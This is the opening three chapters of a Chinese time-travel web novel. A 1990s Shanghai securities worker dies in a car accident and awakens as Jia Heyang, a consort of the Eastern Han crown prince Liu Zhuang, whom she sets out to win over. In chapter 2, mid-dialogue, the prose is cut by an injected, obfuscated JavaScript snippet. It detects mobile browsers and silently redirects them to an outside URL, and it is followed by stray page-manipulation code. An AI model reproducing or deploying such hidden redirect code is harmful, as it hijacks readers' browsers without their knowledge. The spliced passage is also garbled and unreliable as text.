《诸园贵人》 1. 第一章 此刻是公元21世纪,2024年5月25日下午3点。 五个小时前,我刚从河南省洛阳市白马寺的大门走出。 白马寺东边是仍在重建中的东汉南北宫旧址,在离开寺庙后,我步行十五分钟进入这里。它与西安的大明宫遗址公园有些相似,而根据史料记载,假如确定了白马寺的位置,南北宫大致就在这里。 但后汉洛阳城的面积与旧状并不是这样,在如今靠近公园南边、邻近柏油公路的大片土地种着麦,我返程时打车经过那里,尽管天色阴沉,但五月麦浪柔逸,长势良好。 两千年前雒阳城掀起的巨浪落下,如今由小麦的麦浪接替。 一九九九年,自我离开这个科技爆炸的现代社会,穿越到创立之初的东汉王朝,貌似过去了很久,可又没那么久。 二十五年后,当我回到二零二四年,依然能够轻易地和时代接轨。只需要二十分钟学会手机打车,十分钟点外卖,五分钟拨动手机刷起短视频,在直播间里熟练挑选便宜团购。 比如来洛阳的酒店和高铁票,我都选了特价的。晌午从白马寺离开的时候,五秒就打了到车。 没有脱节,毕竟我本就属于这里。 进入河南省,驻足洛阳市,我脑内始终环绕着一个念头。 如果我的丈夫能和我一起站在这儿,他一定认不出此刻的洛阳了;如果他看到我摆弄手里这只发光的金属块,肯定又相信我是被南方赤帝点化过的神女;假如他能和我一起坐高铁穿梭于长安和洛阳、游走在各省市的景色之间,他就能亲眼见见大海。 直到四十八岁死去,他最远走到过下邳,也就是现在的江苏省徐州市睢宁县,而那里没有海。 二十五年前,我二十四岁,在公元一九九九年冬春交接的那几个月,我陡然丧失了自己的身体的控制权,转而占据了别人的身体——这个女孩年芳十五,姓贾,她生活在公元五十五年,距今足有一千九百六十九年。 彼时是东汉,此大一统王朝为末年群雄争霸扮演坚实而厚重的背景板,为众人所知。 初来乍到,我尚且无从得知在位的究竟是哪个皇帝。 此时此刻写下这件事,我的笔触轻松。但回首当年,除了巨大的恐惧之外,还有从头到脚都难以忽视的不适。 曲裾袍下没有内衣,宫室里没有电灯,粗糙的布袜磨破了我的脚底,不够结实的高髻总令我提心吊胆。饭食与蔬菜可谓单一,除过煮就是蒸和烙,倘若想佐以辣味,只有姜椒两种材料可选,而我都不喜欢。 贾女孩在皇后身边待诏(起初我以此称呼她),她身材高挑,姿貌昳丽,无疑是贵眷,和其他真正的奴婢明显不同,日常总换穿几件平纹绢帛曲裾,裙外搭套透亮朴素的菱纹罗,与粗布单裙的侍女区别对待,干些帷幄之内端茶倒水的活。 如果其他人都是服务员,那她更像大堂经理。虽然也要伺候顾客,但脏活累活总有别人干。 在得知这位皇后姓阴之后,我总算知道在位的皇帝是谁了。 公元五十五年在当下被称为建武三十一年,光武帝刘秀仍在位,但这位中兴之主已值人生暮年,我虽凭借贾女孩的身体在阴皇后身边打工,实则难见光武尊颜。 先帝的身体已不大好,但宫中没人敢妄论这个,只中宫永巷令与贾女孩有些私交,坦言先帝的视力和腰腿已有顽疾。更始二年,先帝曾在河北冀县与高密侯邓禹等人艰难创业,后又亲征隗嚣公孙述等大小军阀,数年方定天下,落下了不少疾病。 在人生晚年,多是阴皇后亲自或派遣女官去看他,先帝本人不怎么离开禁中,只偶尔临幸掖庭。人在晚年时也会有新欢,喜爱一些陌生而貌美的新面孔,哪怕力不从心,却能解闷。 先帝来中宫时,上到长御和大长秋,下至谒者和卫尉,皆默契地避免抬首直视先帝与皇后,我也严遵这个规矩,就算再想看,也只敢找准时机抬眼两秒。 在正式书写自己的故事之前,我身上保留了贾女孩的全部特质,她的身体和记忆会持续辅助我的决定,指导我的行为。 阴皇后曾在陛下面前提过我几次,并唤我到了御前。皇后殿下说我貌美乖巧,和我的姨母一样,会是个好妻子。 也是在那一天,我通过贾女孩的双眼满足了对光武帝的好奇心——倘若拿二十一世纪的中年男演员做对比,这位被戏称为“位面之子”的皇帝和他们有些相像,阔面高鼻,精明强干,君仪威严,虽由于年老体衰而清减许多,但看得出中年时体格壮硕。不过即便如此,他和历史课本上后人照着统一模板勾画的、穿戴冕旒、挺着肚子的模样极其不同。 至于阴皇后口中的“姨母”,就是此时永安宫里的马良娣,贾女孩母亲马姜的亲妹妹。 永安宫就是太子宫,贾女孩和我此时都没有去过,由于保留着贾女孩的记忆,我很清楚她为什么会被送到阴皇后身边伺候,也知道她会成为谁的妻子。 很明显,她在走她姨母的来时路。 自从建武十九年立太子始,十三岁的马氏女就从皇后身边离开,伴读东宫,成为太子刘庄的妃嫔。如今十二年过去,马良娣已经二十五岁,太子也有了四个儿子,却没有一个是她所出。 这一年,太子殿下二十七岁,我该将其称作姨丈的人,要成为我丈夫。 我没察觉贾女孩是否有抵触的情绪,只知道这是个陈旧的封建社会,假如不是贾女孩的本土躯体,我甚至听不懂宫人们的口音。 直到二十五年后,我才知道此口音的学名叫中古音,不过网络上的一些教学有误,弹舌和重读太过夸张。它本身更像一种普通的方言,听久了倒也顺耳。当我张嘴与人沟通及回话时,脱口而出的也是这些语调,毕竟我正在使用贾女孩的身体,万事理应以她为标、以她为准。 贾女孩是东汉云台二十八将、开国功臣胶东侯贾复的孙女,她父亲贾武仲乃贾复第五子,迎娶了伏波将军马援的女儿马姜,也正是马良娣的亲姐姐。 贾氏一门除贾复外没再出过什么英奇忠烈,但总归与扶风马氏有直系姻亲,选择贾武仲和马姜的女儿进入永安宫侍奉未来天子、巩固马良娣的地位,是个好选择。 在贾女孩前十五年的记忆中,她对这位姨母以及扶风马氏并不熟悉,母亲自嫁人后再没回过马家,而贾女孩头一回见到舅舅,正是九个月前,马氏派人来商讨送她和她长姐进宫侍候皇后的事宜。 马家近年没有适龄的少女,而马姜育有女儿。贾女孩的舅舅一眼相中了她,因为她最高挑,也最漂亮。 太子身边要有马氏女,也要有马氏姻亲贾氏之女。除了姓氏的加持之外,还须得具备两个难以忽视的要求——美丽无比,且能够生育。 贾女孩碰巧合适,倘若她不能完全满足,还有她的异母姐姐成为备选。 于是,在皇后和皇帝面前殷勤奉命长达半年之久,通过各项身体检验和教导之后,贾女孩就快便要被送去永安宫了。 在这个收获成果的节骨眼上,我却莫名占据了她的身体,成为了她。 这一切都源自于一场意外。 大学毕业之后,我选择留在大城市。那是个经济上行的年代,正逢千禧投资炒股热潮,我进入上海证券交易所,从穿着红马甲的交易员做起,花了一年的时间考到证券从业资格证,租住在上海市浙江中路585弄。 一九九九年深冬,恰逢我即将被提拔成为债券基金部专员的关键时刻,交易所的年会如期而至,我全力投入到筹办和对接当中,结识了几个发行上市部的同事,他们邀请我在年会举办之前一起聚餐。 发行上市部年后空降了新领导,大家在跨年前撺局小聚话别。来自人事的风声提到新部长 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按照现在流行的概念,我的原生家庭理应由父母、弟弟组成,但我心里并不将其视作“家庭”。真正的家由他们三个构建,我则花了二十年的时间将北方的院落抛在身后。 我热爱家乡小麦的外壳被搓开在手心时坚硬的触感,关心它们的墒情;热爱北方高远而无云、如同白炽灯一样的天空;热爱抚养我成长的祖辈。可唯独不热衷于扎根在这儿,因为这里没有我的土壤。 故乡不能一边逼迫女人做浮萍,一边要求她们像麦穗一样年年孕育沉甸甸的种子,低垂头颅承受暴晒灌浆,造福这片大地。而上海的奢华和进步给了我虚幻的底气,它让我在身处底层的奋斗中与有荣焉,它给我提供的不仅是人生选择,还有物质上的选择。 比如那件大衣、那条温润的珍珠项链,还有融入新阶级的机会。 然而,假如我知道那天晚上会发生什么的话,我就不会戴上那条项链了。 聚餐结束得很晚,但我仍然可以赶上末班之前的一辆公交。步行前往车站的路上能看到黄浦江对岸的东方明珠,我微弱的酒意被冬夜冷风带走,那晚的星星格外耀眼繁杂,大都市的街道难得如此寂静。 在四川中路和延安东路交汇的路口,我被一辆疾驰而来的酒驾轿车撞出了十六米远。 同一瞬间,我精准地跨越了一千九百年,来到了贾女孩的身体里。 命运的脚本没有任何预告,它随机挑选幸运儿,生硬又强势地拽我上台,要求我将原定的主角挤走,成为她、代替她。 当我身处中宫,努力适应这副新身体、好奇勾画着永安宫里那位尊贵的太子刘庄时,尚未预料到故事未来的走向。《后汉书》里寥寥几笔提及,已经概括了贾贵人的一生,而我在一千九百多年后忙于谋生,从未读过这本生涩的史书。 所以我不会知道,这位姓贾的姑娘很快将为太子诞下一个名叫刘炟的男孩,他是太子刘庄的第五个儿子,即未来的汉章帝。 我更难以料想,贾良娣要和三岁的孩子生离,永远丧失亲生母亲的名义,成为扶风马氏和汉室建立血缘联结的一颗枢纽。 更可怕的是,从某种意义而言,她失去了咿呀学语的儿子,而这个孩子却是从我占据的身体里孕育出来。承恩缱绻的欢乐、权宠附身的骄傲、胎盘剥离的疼痛,都要由我来经历。 我叫钟维,皮包夹层里被血液浸湿的身份证能够证明我的存在;而她是贾禾阳,史书里没有记载她的姓名,世间除了《后汉书》里有关她丈夫和儿子的传记之外,没有她生活过的痕迹。 所幸自此刻始,站在时空交错的洛阳白马寺外,我终于成为了她的身份证明,她的姓氏也为我在史书上搏得了一席之地。 我们共同参与了东汉王朝的历史,难分你我。 而所有故事,都将从建武三十二年的永安宫开端。 2. 第二章 在前往永安太子宫的前一晚,我脑子里只有两个问题。 其一,我被车撞过后死了吗?我记得自己没闯红灯,那究竟是从哪儿窜出了一辆车? 其二,真正的贾禾阳去哪儿了? 这小姑娘满脑子转的都是《欧阳尚书》、《孝经》和《论语》,偶尔浮现一些眷恋母亲的念头。她的姐姐已经先行被送入东宫,待在姨母马良娣身边,二人在这几月内时有通信。 太子尚未宠幸过贾禾阳的姐姐禾苗,但她已经和太子有过多面之缘。马良娣虽入永安宫早,然非善妒之人,也刻意为外甥女制造过几次机会,只是不知太子究竟有何想法,分明懂得她的用意,却屡屡不肯宠幸贾家的女子。 从我的角度来说,刘庄大概没看上贾禾阳的姐姐。 对贾家和马家来说,这算一个危险的信号,导致如今的希望一是寄托在马良娣的肚子里,二则寄托在贾禾阳的腹中。 在阴皇后身边伺候的这半年,贾禾阳已经数次听说过有关阴良娣的事迹,她是阴皇后弟弟阴就的女儿,即太子殿下的亲表姐,与贾禾阳的姨母马良娣前后进入永安宫侍奉,却貌似比马良娣略得宠些。 不过阴良娣同样尚未有所出,太子殿下的四个儿子、一个女儿都是东宫侍女或孺子所生。 我儿时看电视剧的时候注意过这种有趣的宫廷秘辛,皇子十六七周岁时就有宫人为其解决生理需求。照这几个孩子的年纪来看,大概陆续得于太子十八至二十岁左右。 以我从小到大在学习工作上的拼劲,不论在哪儿都不乐意久居人下。我相信老天送我来此一场绝非偶然,就算我不了解这位贾家的姑娘,也不满意这种家族包办婚姻的做法,但来都来了,总不能让贾女孩的命运断送在我手里。 我开始意识到,进入东宫,就是进入战场。 彼时对历史走向毫无头绪的我起码清楚,现在的太子就是未来的显宗孝明帝,马良娣就是明德皇后,且这对夫妻的职业生涯都干得相当不错。即便贾禾阳要做妾,只要能在东宫打好基础,就是为以后进入掖庭的日子铺路。 怀揣着这样的心情,我于建武三十二年三月朔日正午,踏入了永安宫。 太子刘庄每日晨省后首先跟随经学博士、太子少傅桓荣校读五经,佐以辨答,时而议论欧阳、大小夏侯《尚书》之争。作为从小通晓《春秋》,治《尚书》,备师法,兼通九经,略举大义的天才,他近年沉迷筹备编撰《五行章句》注解经书,閣门内间的帷幄里摆满了竹简和绢帛。 当然,这也是我后来才看到的。 倘若上午要进宫出席朝会,他便清晨练习骑射,后晌饭后再与太子少傅论经。每日将自己的生活安排紧凑,直至亥时才会休憩娱乐。 我对他是否真的如此勤勉感到怀疑。 被送入东宫当日,我的住所被安排在姨母马良娣院落隔壁,与姐姐一左一右拱卫着姨母的别苑,以这种方式昭彰着马氏与贾氏的黏合。 长姐贾禾苗竟比我这个做妹妹的还要低矮半个脑袋,她与贾禾阳脑海中的模样无二,身形还未发育完全,带着婴儿肥导致的圆润敦实,虽然十七岁的确不是什么适婚的年纪,但这份懦柔与胆怯使她愈发显得低眉顺眼,稚气未脱。 不难看出,马良娣对贾禾苗的表现有些忧愁。 这是贾禾阳初次面见这位贤良温和的姨母,而令我惊讶的是,即将十六岁的禾阳竟然微微赶上了马良娣高挑的个头。我忍俊不禁地暗想,这具身体正在如同稻禾一样成长,有我在她的身体里,绝不会允许她像长姐那样弯腰垂首。 贾禾阳有一张白皙美丽的面孔,青涩却不失丰满的躯体,或许与清秀哀愁、谦逊沉默的马良娣相比,这小姑娘少了些为人贤妻的气派,可她像花朵,没人不喜欢浇灌花朵。 面对即将要施以雨露浇灌她的人,不能退缩,更不许恐惧。再水嫩的花骨朵,也先要绽放了才好看。 绕开厚重的明黄色围墙,马良娣和贾禾苗带着我从閣门南边走出,见一片太子舍人的办公屋庐,从园林小路再向南复行数百步,便是永安宫的丽正殿。 从正殿外的中门再出,可见一排整齐古朴的瓦殿,东宫内凡有各郡国征召而来的上计吏或办公者,皆与太子门大夫、太子冼马、太子中盾与太子卫率等官吏驻扎此处。 以太子和妃嫔们居住的閣门之内为标点,其西侧为太子太傅、少傅等一众经学博士的办公处所,东北侧为一处面积近两亩的园林,郁郁葱葱,内有靶场马场与小型野兽。登高至亭榭之上,可见谷水从雒阳城东北角流过,向南汇入阳渠。 北面则是更加紧促的房舍,居住着太子率更令以及掌管仓谷饮食的太子家令,许多近身的奴婢也住在这里,方便随时侍中。 閣门正东面聚集的房舍豢养着一众门客学士,距离较远,姨母不便带我们过去。我想起贾禾阳的爱好,便顺口问道:“姨母,您平时常以什么方式消遣?” 马良娣道:“阅卷或织布。” 我故作庄重地点头,又问:“那......宫中少府的尚方令会时常送些玩意来给殿下吗?如此开阔的地界,能不能放风筝?” “......” 姨母诧异地侧脸望向我,貌似想说些什么,又硬生生噎了回去。她好脾气地对我和贾禾苗道:“有纸鸢,我可命宦者为你取来。但园内偶有门客,殿下与少傅时常在湖边讲经校书,不可随性乱走。” 我道:“殿下现不在宫中,我能试着放一会儿吗?” 贾禾苗眉间蹙起,正欲劝阻,我立刻又道:“就算今日不玩,我先得个风筝解闷也好。” 见姨母没有阻止,女官随即为我取来了一只竹骨的纸糊风筝,上头染着玄赤两种颜色,似燕似雀,当个玩意儿充数倒也成,做工还比不上现代路边手扎的。 赶在劝阻声还没入耳之前,我快速转动手中木毂,趁着早春有风,利落地把风筝甩上了天去—— 我实则对此不感兴趣,但这是毕竟贾禾阳的身体,她很喜欢,这份愉悦在她的脑海内蓬勃翻涌。后汉不比如今,妇人闲时只能织布缝补,哪怕放个风筝这种无聊的娱乐,对小姑娘而言也唯有一年一度的上巳节才能体会。 就算太子在宫里,在园场放风筝也不是大罪。假如贾禾阳还在我身体里,我希望她感到高兴。 反正我本就不是这儿的人,就算太子要以乱放风筝罪处死我,我也不过滚回二十世纪末去,没什么可怕。况且我笃定未来的明君不会为这样的小事罚我,因此也不会害了禾阳这个小姑娘。 女官们的目光与惊呼声追随着我手中的细线上天,我单手拎起曲裾往西逆风跑了十来步,雀跃地跳起冲姐姐招呼:“汝等要试试否?” 禾苗嗔怒道:“快快收起!快快收起!殿下惯在这个时辰回宫!不许放了!你今日是怎么啦?” 姨母手下的女官快步上前抓我,手中细细的红线被风拉扯的左右摇摆,我闪身作势要逃,迅速将线统统散开,高举双臂,令风筝飞到所有人都能看到的高处。 但愿好风凭借力,尽快送我上青云。 还没半炷香的功夫,马良娣手下五六个女官争相上前追赶,在一阵奔追逐后,我被强行逮捕归案。我知晓他们绝没可能好心把玩具留给我了,因此在食官令夺走我手中的风筝的前一秒,咬断细线,任它被风带远。 此等狂悖行径只持续了半刻钟,但这股刺激又叛逆的劲头却令我十分快乐。 从我正午搬入永安宫至今,哪怕就这么短短两三个时辰,我也能看出马良娣贤德温顺、情感压抑,实有母仪天下的风范,却少了些宠妃的潜质。 仅靠马良娣的推荐,或是干脆像贾禾苗那样翘首等待,得不到太子的喜爱。 作为原生家庭里的边缘人物,我从小擅长察言观色,十八岁那年千军万马过独木桥,作为全县高考的第二名,背着祖父母攒钱给我买的双肩背,手里拎着红蓝条纹编织袋,坐着硬座绿皮火车到复旦大学读书、到证券交易所工作。 这六七年间,我见识过的好人坏人,可能比她们一辈子见过的都多。 贾禾苗认为我不可思议,嗔了句“吃醉酒的”,便背身转脸往閣门内去了。我安分回到马良娣身边,乖巧地冲她笑了笑。 姨母没对我方才的举动做出评价,她说话时总垂眸合手,嘴角不自觉撇下来,声调柔弱地劝导我说殿下看重礼法,明察秋毫,宫人平日里谨慎喏喏,方能不出差错。倘若我在东宫还似家里一般随心所欲,难免会令太子反感。 她言辞真诚,我应下了。回到居所之后,良娣房中的女御过来回话,说太子已经回到永安宫,正在阴良娣那里用晚饭。 听到阴良娣的名号,我和贾禾苗对视一眼,谁也没敢吭声。在马良娣房中一起吃过晚饭,我和贾禾苗看似前后请安告辞,实则又偷摸混到了我的居所。 这间房子意料之内的俭朴,木调深沉,有股陈旧的清香。除过帷幄和床榻之外,一些必要的漆器和铜器整齐摆在一个类似五斗橱的楠木柜上,妆台配有“长宜子孙”铭文的连弧纹铜镜,旁边的双层九子奁里装着梳篦、笄簪、妆粉燕支、假发与椒料。 都是些简单必须的物件,甚至衣柜里也没几套像样的曲裾、直裾袍。 好在房间烛火旺盛,正中的坐垫旁对称摆置两只连枝灯。覆钵状灯座,饰瑞兽纹和云气纹。灯的主干为三段,以套插方式连接,每段装饰连环纹样与镂空叶片。段与段的衔接处各有十字形托架,向四方横向延伸,末端装饰透雕花叶,花叶顶端各托一只小灯盏,灯盏外缘的桃形叶饰,恰似火焰。主干顶端则是镂雕的仙人骑鹿造型,仙人双臂高举,稳托一只大灯盏。 我与贾禾苗坐在榻上,拉下帷幄,迫不及待问道:“你见过殿下了吗?他什么样?” “见是见了。”她答:“殿下还是颇有威容的,皮肤挺白,个头比你高大概——这么多!” 她伸手简略比划了一下,我又问:“那阴良娣呢?你见过吗?” “倒也见了。”她答:“我原以为阴良娣是天仙似的人物,实际并不至于,但她穿着与气质很好,头上戴着两只金钗,两只步摇。” “太子和马良娣都那么节俭,他竟然允许阴良娣穿金戴银吗?” “对普通的孺子良娣当然不是这样,但那是新纳的宠妃啊!”贾禾苗低声道:“殿下待母至孝,你是知道的。阴良娣是殿下的表姐,阴皇后的侄女,怎可能受到薄待?略跋扈张扬些也无可厚非。” 看着贾禾苗那副嘟囔又艳羡的模样,想逗她的心思油然而生:“那你呢?是只想做个孺子,还是想做良娣?或者......太子妃?” “哎呀!” 她伸手掐我脚踝,急忙掀开帷幄朝外望了几眼,骂道:“你在北宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17092507|195492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎受教导的?竟愈发狂了?原先从没见你这样过!太子妃的位置也是我们肖想的吗?留意我给爹爹写信告状啊!” “我想想都不准?”我问:“长姐,你到永安宫已快半年了,还没被殿下召幸吗?” 贾禾苗抿起单薄的嘴唇,落寞叹息道:“其实殿下来得很勤,与马良娣两人大多时间都在谈经论道,闲聊起居琐事,互敬如宾客一般。我虽得以在旁伺候,可他鲜少留宿,何谈召幸呢。” “......” 这实在是件怪事。 哪怕放在二十世纪末,也罕见哪个男人能拒绝送上门的妻子,更别提把女人当做生育工具的封建王朝储君。贾禾苗虽普通,然性格温顺,出身功臣之家,就算看在马良娣的面子上,太子也不至于这么冷淡。 “殿下恐怕很丑吧?”我道:“要么就是不举。” “不举?” 贾禾苗诧异道:“什么是不举?” 我讳莫如深地指了指她的胯部,她面色?羞赧地反驳:“真似你所说‘不举’,四个皇孙一个公主从哪儿来的?” “话说阴良娣如此受宠,为什么没有孩子?” 贾禾苗显然没想过这个问题,反问:“咱们姨母也没有孩子啊!” 我微笑道:“那要你选的话,你会选做宠妃......还是做皇孙的母亲?” “别妄侃宠妃了,殿下先召幸了我再说吧。”她丧气道:“你选哪个?” “可能都选。”我调笑道:“我恐怕没有当皇后的命,我儿子也做不了太子,但起码得做个宠妃,再得两个小皇孙最好。” “既不愿失之东隅,又想收之桑榆,太过贪心。”贾禾苗颇带审判意义地皱起眉头:“在家中时我见你并不热衷太子,叫你先来侍奉姨母,说破天都不乐意,现在怎么殷切念着殿下了?” “......”贾禾阳这小姑娘惯有些倔劲,而我的念头和她完全相反。以我的人生态度,既然面对一场无法改期或缺席的考试,那就不论如何都要上场握笔,凭借这副好皮囊、好脑子,答出个漂亮卷面。 就算不能一举夺魁,总归要争一争,抢一抢吧。 “我想通了。”我答道:“马良娣是个和善的好人,既然我们二人被送入东宫拱卫她的位置,那就在其位谋其职,先帮她压阴良娣一头。” 面对这番豪言壮语,贾禾苗鄙夷地撇起嘴:“数月还未受召幸的两个人,拿什么压倒人家阴良娣?” 我无所谓地耸肩:“那就自求多福好了,在姨母身边待着,总有机会。倘使太子真上了我的榻,我一定让他念念不忘。” 贾禾苗惊诧地后撤,少顷后伸手拍了拍我的脸,兀自跪坐起身去绑帷幔,竟有些爱怜地感慨道:“而今的你丝毫不类从前的你,看来掖庭养人,你待诏这些时日,竟长大了。” 她方穿鞋下榻,房外便传来一阵急促的脚步声,永安宫今夜当值的宦官被马良娣殿里的女御引向这里,敲响了房门。 我与姐姐手忙脚乱地要躲,可她刚爬回榻上,帷幄还没放下,女御便推门走了进来,而她身后高帽宦官的手中,竟捧着那只七零八落的风筝残骸—— 纸面破碎,竹骨扭曲,惨不忍睹,却又有些滑稽。 四人面面相觑,站在榻上的贾禾苗不知是不是腿软,干脆板正地跽坐在了原地,紧紧咬住下唇,又是那副审慎怯懦的模样。 “这只纸鸢落在阴良娣园外,被殿下拾得,听说是贾孺子的物件,特遣我等物归原主。” “......” 我大方踱步接过,侧身拱手道歉:“傍晚风大,扰了阴良娣与殿下用饭,禾阳知罪。” “夫人毋忧。”他回话道:“殿下并没责难,只这小玩意坏的不成样子,若再有需求,便告知太子家令或马良娣房中女官,再取一只吧。” 女御转头向太子派来的宦官恭敬应承,贾禾苗见宫人并非为抓我们宵禁后私会而来,也整理裾袍下榻,与我一起将人送到屋外,相跟着女御回房。 贾孺子,贾孺子,永安宫已有两个贾孺子,前脚搬来一个,后头又住进一位。 这只破烂风筝留着也是无趣,我随手扔进妆台下的三足铜盆中,坐在镜前篦发净面。 虽没读过《后汉书》和《东观汉记》,总看过几期百家讲坛。我从没听说过东汉除了光烈阴皇后之外还出过第二个阴皇后,横竖皇后之位都是马良娣的,太子敬重她,包容她,但却不大频繁地宠幸她。 换个角度想,明帝一生从未废后,下一代的权力交接也没有腥风血雨,这起码可以说明,他身边不会出现势高气昂的宠妃,也没有对哪个女人的儿子格外看重过。 彼时的我没有意识到,自己犯了一个非常愚蠢的错误。 由于历史储备单薄,我只记得史实记载明德马皇后的儿子即位,且章帝为嫡子,侍母纯孝。因此理所当然地笃定名为嫡子的章帝就是马皇后所出,认为她既然能成为善终的明德皇后,也就意味着早晚会诞下刘炟,承继后汉大统。 我尤记得章帝性情温和,于是相信他也会包容贾禾阳的孩子、保障贾禾阳的性命。 假如没有这些后顾之忧,我就可以大胆地放开手脚,尽力替贾禾阳交上及格的答卷,尽力成为宠妃,成为贵人,拱卫在姨母周围。 从这天起,我开始为太子驾幸马良娣宫中的日子做准备。 3. 第三章 在未面见太子、受到宠幸之前,我与贾禾苗只能算是永安宫里的孺子,不仅没有几斛粟的俸禄,就连宫里的女御或女官也不太搭理我们。 由于太子刘庄本人克己复礼,反对奢侈,马良娣日常过得可谓更加俭素,白日屋里再暗也不掌灯,闲了就坐在那儿抱着简牍,或手脚并用的织布,惹得三间院子皆机杼声不绝于耳。可她自己却常衣大练,裙不加缘,柜中多是浆染过的麻布衣裳。 因马良娣善经书,太子与阴皇后常准太子舍人到东观或石室借阅典籍。 她平时最爱《淮南子》与百家艺术,时常重温《尚书》。后者足有五十四篇,撰写在约二尺四寸的竹简上,足足堆满了典籍阁的一角。 我与贾禾苗起了大早去搬书,我个头高,力气也比她大些,抱了一怀重的简卷往东殿回,中途想挠痒擦汗都费劲,终于穿过中门走上园林小路,结果被地上高低不平的石板绊了个现成—— 东观来的令史把这些玩意看得比眼珠还要珍贵,殿下本人也时常查阅,我就算没有贾禾苗那般胆小,也是不敢将其损坏刮花半个字的。求生的欲望驱使我的下半身即使已经崴脚下跪,上半身却以一种扭曲的姿势前倾保持平衡,手肘着地。 我以平爬却稳托经卷的姿势被园中路过的宦官和女官扶起,无法援手的贾禾苗站在前头惊叫一声,抱怨道:“哎呀!说了要你别抱那么多!再跑几趟就是了,瞧你摔的!可别把古籍搞坏了!” 脚踝疼痛难忍,我无奈举起竹简自证清白:“放心吧,没落地,我哪敢损坏东观的藏书?” 她将手中物件递给前来帮忙的宦官,上前分过我怀中的重量,抬袖为我擦去汗水,指着我的膝盖道:“曲裾都摔破了,快看看裙下伤了没有。” “先回吧,园里人来人往的,不方便。” 嘴上虽没说什么,可我心中不满尤甚。所有孺子进宫第二日本该去拜会太子,贾禾苗当时也因这项规矩顺利见到了刘庄,可我已经在永安宫住了近七日,太子一直在南阳郡督察度田,连个鬼影也没见着。 所幸虽崴了脚,还能坚持走回马良娣房中。我垂头丧气地抱着卷筒走上台阶,见马良娣正与一人坐在堂中说话。 余光所及范围内的贾禾苗立即侧身行礼,低垂头颅,敬称“殿下”。她将书卷向前微送了半步,整套动作比我光天化日失衡跌倒的速度还快。 我沉浸在关节和脚踝的疼痛中,慢了半拍,动作也因疼痛而别别扭扭,却没有像她一样深垂着脑袋,反而抬眼直视,撞上了太子的目光。 我偏要看看这人什么样,每日白天不见踪影尚有情可原,晚上竟也不来留宿,活生生晾了我这么久。 假如他像对待贾禾苗这样对待我,那我占据胶东侯孙女的身体还有什么意义?不过换个地方打工,起码二十世纪末的领导还会定期给我发放月薪。 不过,公元五十六年春的太子殿下尚值壮年,他跽坐在两扇屏风之间,比马良娣要高出好些,肩宽腰窄,皮肤白皙,眉眼与阴皇后有七成相似,阔面高鼻,威仪容止,当真贵不可言。 论及我未来的丈夫,他的样貌应当排在身份之后,因为一旦有了无上权力的烘染,七分也变十分。我是个功利的女人,儿时没有获得过偏爱,成年后在大城市省吃俭用,单打独斗,特权与金钱更如浪潮一般持续涌入我的思维,影响我的行为。 权势是世界上最不容置疑的话语、最难以拒绝的命令,以及最具煽动性的宣言。此刻在我面前的太子,很快将成为东汉王朝最有权力的男人。 而我必须成为他的女人,才能从他手中这张名为“权力”的主卡中,利落分出一张不限额的附属卡。 “殿下。”马良娣起身介绍:“贾孺子前几日从母后宫中来,我与您提过,她与禾苗乃异母姐妹,待诏掖庭许久,今来侍奉殿下。” 刘庄礼貌点头,面色温和。当期待的机会终于达成,我捧着书卷,出神欣慰地对他露出了微笑。当我看到他看清我的暗示,将目光停留在我身上,并为此暗示而炯炯闪烁时,我的精神开始雀跃飞舞,不知所以。 二人沉默许久,皆未回话。贾禾苗的眼神诧异流转与我和太子之间,轻推了一下我的手臂。 我这才谦卑而故作羞涩地垂眸,避开了他的目光。刘庄看向我摔破的曲裾,开口问:“衣袍为何损坏?” “怀抱竹简,一时失足,不慎摔在半路。”我微微踉跄,举高怀中《尚书》大声道:“所幸典籍完好无损,否则妾难辞其咎!” 他愉悦地发出一声轻笑:“将简筒放下吧。” 我与贾禾苗恭敬坐于南面下位,听太子与马良娣论了会儿《左传》。膝盖上的伤口由于跪坐而撕裂,小块血液浸湿了坐垫下的草席,痛的我冷汗乍起,轻轻歪过身子,侧坐在了垫上。 我察觉到太子的目光不断投射在我身上,他一定察觉到了我的举动。马良娣见他心不在焉,适时止住话题,听刘庄轻叹道:“良娣聪慧,总有高见,相谈甚欢,不觉天色已晚,我便留在这儿用饭吧。” 距晚饭还有半个时辰,听他这样说,我与贾禾苗立刻会意,起身告退。 身下的血痕突兀,我回首扫过垫席,在疼痛与窘迫中望向太子,心中纵然不舍,也得离开。所幸贾禾阳是个令人生怜的小姑娘,凡做出这等委屈落寞的模样,便能好不费力地满怀娇嗔,楚楚动人。 太子家令派来的大夫为我处理了膝盖和手肘的伤口,但初春的永安宫内没有存冰,就算有,也轮不到孺子使用。 于是,我的脚腕很快便肿到了往常的三倍。 这里的饭食总是那么清汤寡水的几样,煮薤菜、汤饼煮饼或饼饵,偶尔有些酸掉了牙的葡萄和柑桔吃。这时的水果距离基因改良还很远,原生态的代价就是难吃。 除过孺子之外,东宫还有几位受过宠幸的宫女,住得稍远些,统归高阶的女御和宦官管理。每夜除非太子召幸留宿,各屋在亥时前就要熄灯宵禁,我也不例外。 马良娣的屋里还掌着灯,说明太子尚未离开。 夜里静谧凉爽,閣门内绿树成荫,非常古朴,昏黄微光从窗棱缝隙中流露,我靠在房门前,疲惫地念着自己在现代的那具躯体。 回屋盥洗熄灯过后,我很快陷入了一阵短暂的浅眠。这里的生活太过不便,产生压力与疲劳的方式也与现代世界大相径庭,我只知明早还要晨起向马良娣请安,然后与她一起织布,一起看经,假如不早睡,明早又会起不来。 自那日游永安宫,在园场放风筝以来,我再也没有过任何娱乐。 大概入睡一刻,半梦半醒之间,推开房门的声响令我恍惚翻身,看到浅色帷幄外透进烛光,有人点起了榻边的两座连枝灯。 左腿的伤口的疼痛伴随着发热,睡眼惺忪地看到榻边的身影,我猛地睁开双眼,打挺般坐了起来—— 是太子殿下。 他将手臂伸出帷幄,有宦官将白日的那只染血的坐垫递上,我一时震惊无话,只听他问:“既然有伤,后晌为何不禀告?” 